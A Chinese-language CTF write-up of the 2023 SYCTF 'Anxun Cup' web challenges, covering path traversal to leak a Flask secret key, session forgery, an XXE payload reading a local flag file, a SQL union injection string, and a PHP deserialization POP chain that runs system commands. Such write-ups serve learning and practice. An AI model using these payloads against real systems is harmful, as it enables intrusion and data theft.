[2023SYCTF"安洵杯"]赛后总结(摆烂版)

最快速,最新鲜,最主观的挨打体验。

5道web,看了4道,细看3道,解出1道,可以说是相当菜了。可恶啊😡😡😡

CarelessPy

打开主页,提示了三个路由/eval/login/download?file=

eval里提示可以通过?cmd=传入命令,但测了之后应该是scandir()的参数,不过可以通过这个找到了/app/__pycache__/part.cpython-311.pyc

/download?file=../../../app/__pycache__/part.cpython-311.pyc下载,反编译得到part.py的源码,其中有SECRET_KEY

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'

/login页面用密钥解开session,重新构造{'islogin': True}登录。

XML外部实体注入:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag">]>
<result>
<ctf>123123</ctf>
<web>&xxe;</web>
</result>

感想:XXE确实没好好学过,最后一步卡了半天😢

Confronting robot

第一个注入点是?myname=,没有过滤,使用联合查询sky' union select (select group_concat(username) from name)--+找到/sEcR@t_n@Bodyknow.php

然后就尬住了。/sEcR@t_n@Bodyknow.php可以执行sql语句,得知game为空,以及它的两个字段choiceround

game.php里有这个猜拳机器人的逻辑,但是数据库为空执行会报错

这里loseorwin函数中的NULL就是查询的结果
Fatal error: Uncaught TypeError: Argument 2 passed to loseorwin() must be of the type string, null given, called in /var/www/html/game.php on line 38 and defined in /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('S', NULL) #1 {main} thrown in /var/www/html/game.php on line 11

知道了字段,也可以执行sql语句,我的思路就是插入数据到game表中。但是权限不够,无法插入数据,这题最终也没有解出。

感想:解这道题耗得最久的一步就是在第一部分,当时用想着这么简单的注入直接上sqlmap,结果跑了个空表出来。

然后就尝试各种写文件,人都麻了🤡

4号的罗纳尔多

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'givemegirlfriend!');
        } else {
            echo 'nonono';
        }
    }
}

if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
    unserialize($_GET['Pochy']);
} else {
    echo 'nonono';
}

第一个正则的绕过方法参考:愚人杯3rd easy_php

用脚本找个符合要求的类:

$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array('unserialize',))) {
            print $class . '::' . $method . "\n";
        }
    }
}

这个正则匹配的是O:a:开头或字符串中间出现Array|Iterator|Object|List的字符串,这里选用SplQueue类绕过第一个正则:

<?php
class evil{
    public $cmd;
    public $a;

}
$a = new evil();
$queue = new SplQueue();
//echo serialize($queue);
$queue->enqueue($a);
echo serialize($queue);

现在就让eval执行命令即可,if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))这个条件让$cmd中只能出现大小写字符、左右括号、分号和下划线。

目的是避免givemegirlfriend!$cmd拼接导致的eval无法执行。

使用__halt_compiler();是一个语言构造器,它会立即停止编译器的解析,POP链构造:

<?php
class evil{
    public $cmd='system(ls);__halt_compiler();';
    public $a;

}
$a = new evil();
$queue = new SplQueue();
//echo serialize($queue);
$queue->enqueue($a);
echo serialize($queue);

本地成功了但是服务器却没反应?!!!

然后比赛就结束了😭

task

这题点开简单看了下,似乎是Go的,不太会捏。

总结

体感其实还蛮不错的,而且队友都很给力!下次干回来!!!

之后等wp出了再把这次比赛的知识点好好总结一下,就先这样咯~